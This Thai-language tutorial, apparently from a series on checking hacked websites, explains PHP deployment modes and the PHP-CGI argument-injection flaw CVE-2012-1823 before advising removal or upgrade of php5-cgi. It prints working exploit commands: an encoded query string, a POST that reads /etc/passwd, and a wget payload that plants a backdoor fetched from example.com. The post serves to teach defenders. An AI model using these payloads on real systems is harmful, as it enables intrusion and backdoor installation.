    หมายเหตุ: มีเหตุผลที่ ทำไมเราต้องทดสอบด้วยวิธีนี้ แทนที่จะไปใช้ Website ภายนอก เพื่อทดสอบ ซึ่ง “ง่ายดี” แต่เพราะ ใครจะรู้ว่า เว็บไซต์ที่เปิดให้เราใส่ URL ของเราไปใส่ แล้วทดสอบ, เขาก็ทำอะไรคล้ายๆอย่างนี้แหล่ะ และตอบมาแค่ว่า Vulnerable หรือไม่ แต่ … ถ้า ผู้สร้างเว็บเหล่านั้น คิดไม่ดี อาจจะทดสอบแบบนี้ แล้วถ้าพบว่า URL ของเราสามารถโจมตีได้ เขาก็อาจจะเริ่มต้นเก็บข้อมูลเหล่านี้ไป … จึงเป็นเรื่องดีกว่า ที่จะทดสอบ ระบบของเราเอง ด้วยตนเองครับ

    Reference

    1. http://heartbleed.com/
    2. http://www.adslthailand.com/news/%E0%B8%9E%E0%B8%9A%E0%B8%8A%E0%B9%88%E0%B8%AD%E0%B8%87%E0%B9%82%E0%B8%AB%E0%B8%A7%E0%B9%88-openssl-heartbeat-extension-heart-bleed-bug
    3. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
    4. http://www.exploit-db.com/exploits/32764/
  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #13

    บทความนี้ แสดงให้เห็นการโจมตีช่องโหว่ของ PHP แบบ CGI  ทำให้สามารถ แทรกคำสั่งต่างๆไปยังเครื่องเป้าหมายได้ ดังที่ปรากฏใน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6 โดย PHP Version ที่ต่ำกว่า 5.3.12 และใช้แบบ php5-cgi จะมีช่องโหว่นี้

    ก่อนอื่น ขออธิบายคร่าวๆ ว่า การใช้งาน PHP นั้น มีวิธีที่นิยมใช้กัน 3 วิธี [1] ได้แก่

    1. Apache Module
    2. CGI
    3. FastCGI

    1. Apache Module (mod_apache) เป็นวิธีการที่ใช้งานอยู่กันโดยทั่วไป ได้รับความนิยม เพราะติดตั้งง่าย
    ข้อดี:
    – PHP ทำงานร่วมกับ Apache
    – เหมาะกับงานที่ใช้ PHP เยอะๆ
    ข้อเสีย:
    – ทุก Apache Process จะมีการโหลด PHP เข้าไปด้วย แสดงว่า จะใช้ Memory มากขึ้น ยิ่งมีการโหลด Module เพิ่ม ก็ยิ่งใช้ Memory เพิ่มอีก ทั้งนี้ ไม่ว่าจะเป็นการเรียก ภาพ หรืออะไรที่ไม่ใช้ PHP ก็ตาม
    – สิทธิ์ในการสร้าง/แก้ไขไฟล์ จะเป็นของ Web User เช่น Apache/httpd เป็นต้น ทำให้ มีปัญหาด้านความปลอดภัย ในกรณีใช้พื้นที่ร่วมกัน

    2. CGI เป็นวิธีการใช้ PHP Interpreter เฉพาะที่จำเป็น
    ข้อดี
    – แก้ไขปัญหาด้านความปลอดภัย ในการใช้พื้นที่ร่วมกัน เพราะสิทธิ์ในการสร้าง/แก้ไขไฟล์ จะแยกเป็นของผู้ใช้แต่ละคน ดังนั้น เมื่อเกิดการเจาะช่องโหว่ ก็จะไม่กระทบกับผู้อื่น
    – Apache Process จะทำหน้าที่เฉพาะให้บริการ HTTP แต่เมื่อต้องการใช้ PHP จึงจะไปเรียกใช้
    ข้อเสีย
    – เป็นวิธีดั้งเดิม ไม่มีประสิทธิภาพนัก, การตอบสนองช้า

    3. FastCGI เป็นการแยก Web Server กับ PHP ออกจากกัน ทำให้ การใช้งาน HTTP ที่มีต้องใช้ PHP ก็จะใช้งาน Memory น้อย แต่เมื่อต้องการใช้ PHP ก็จะส่งไปทาง Socket ทำให้สามารถกระจาย Load ไปยังเครื่องต่างๆได้
    ข้อดี
    – ให้ความปลอดภัยในการใช้พื้นี่ร่วมกัน แบบ CGI แต่ทำงานเร็วขึ้น
    – สามารถ Scalability ได้ดี
    – Apache Process ที่ไม่ใช้ PHP ก็จะใช้ Memory น้อย
    ข้อเสีย
    – การตั้งค่าค่อนข้างยุ่งยาก จะใช้ .htaccess แบบเดิมไม่ได้ แต่ต้องใช้ php.ini แยกแต่ละผู้ใช้ ทำให้ดูแลยากขึ้น

    ปัญหาอยู่ที่ว่า บาง Web Server ที่ใช้งานกันอยู่ ใช้งาน PHP แบบ Apache Module อย่างเดียว แต่ ไปติดตั้ง PHP แบบ CGI ด้วย (php5-cgi package) แล้ว อาจจะไม่ได้ตรวจสอบให้ดี จึงทำให้มีช่องโหว่ได้

    ตัวอย่างนี้ เป็น Web Server ที่ทำงานบน Ubuntu 10.04 Server + Apache 2.2.4 + PHP 5.2.17 โดย PHP Package ที่ติดตั้งไว้ สามารถดูด้วยคำสั่ง

    sudo dpkg-query -l | grep php

    ผลที่ได้คือ

    ซึ่งจะเห็นว่า มี php5-cgi รุ่น 5..2.17 ซึ่ง มีช่องโหว่ ตาม CVE-2012-1823 ซึ่งทำให้ Hacker สามารถแทรกโค๊ดเข้ามาได้

    สมมุติ Web Server เครื่องนี้ มี IP Address : 192.168.1.20

    Hacker สามารถใช้คำสั่งต่อไปนี้ ( ดัดแปลงจากตัวอย่างของ Exploit Development: PHP-CGI Remote Code Execution – CVE-2012-1823 [2] และ รายละเอียดของ Query String ดูจากบทความ วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6)

    qstring="%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E"

    ซึ่ง qstring นี้ เมื่อถอดรหัสจากเลขฐาน 16 เป็นข้อความจะได้ว่า

     -d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n

    จากนั้น Hacker ก็ใช้คำสั่งต่อไปนี้

    echo "<?php system('cat /etc/passwd');die(); ?>" | POST "http://192.168.1.20/cgi-bin/php?$qstring"

    ผลที่ได้คือ

    และ Hacker สามารถทำอะไรก็ได้ เช่นไปเอา Backdoor จากที่อื่นมาใส่ได้ ตัวอย่างเช่น เอามาจาก http://example.com/backdoor ไปเก็บไว้ที่ /tmp/.aaa ด้วยคำสั่งนี้

    echo "<?php system(' wget -q http://example.com/backdoor -O /tmp/.aaa');die(); ?>" | POST "http://192.168.1.20/cgi-bin/php?$qstring"

    หากใช้คำสั่งต่อไปนี้ที่เครื่องเป้าหมาย 192.168.1.20

     ls -la /tmp

    ก็พบว่า มี Backdoor ฝังอยู่แล้ว

    ซึ่ง Hacker ก็สามารถใช้ขั้นตอนคล้ายๆกันนี้ ออกคำสั่งต่างๆได้

    ดังนั้น หากท่านไม่ได้ตั้งใจจะใช้ php5-cgi ก็แนะนำให้เอาออกไป หรือ ทำการ Upgrade ให้เป็นรุ่น 5.3.12 ก็จะปลอดภัยจากช่องโหว่นี้ครับ

    ขอให้โชคดี

    Reference

    [1] http://blog.layershift.com/which-php-mode-apache-vs-cgi-vs-fastcgi/

    [2] http://insecurety.net/?p=705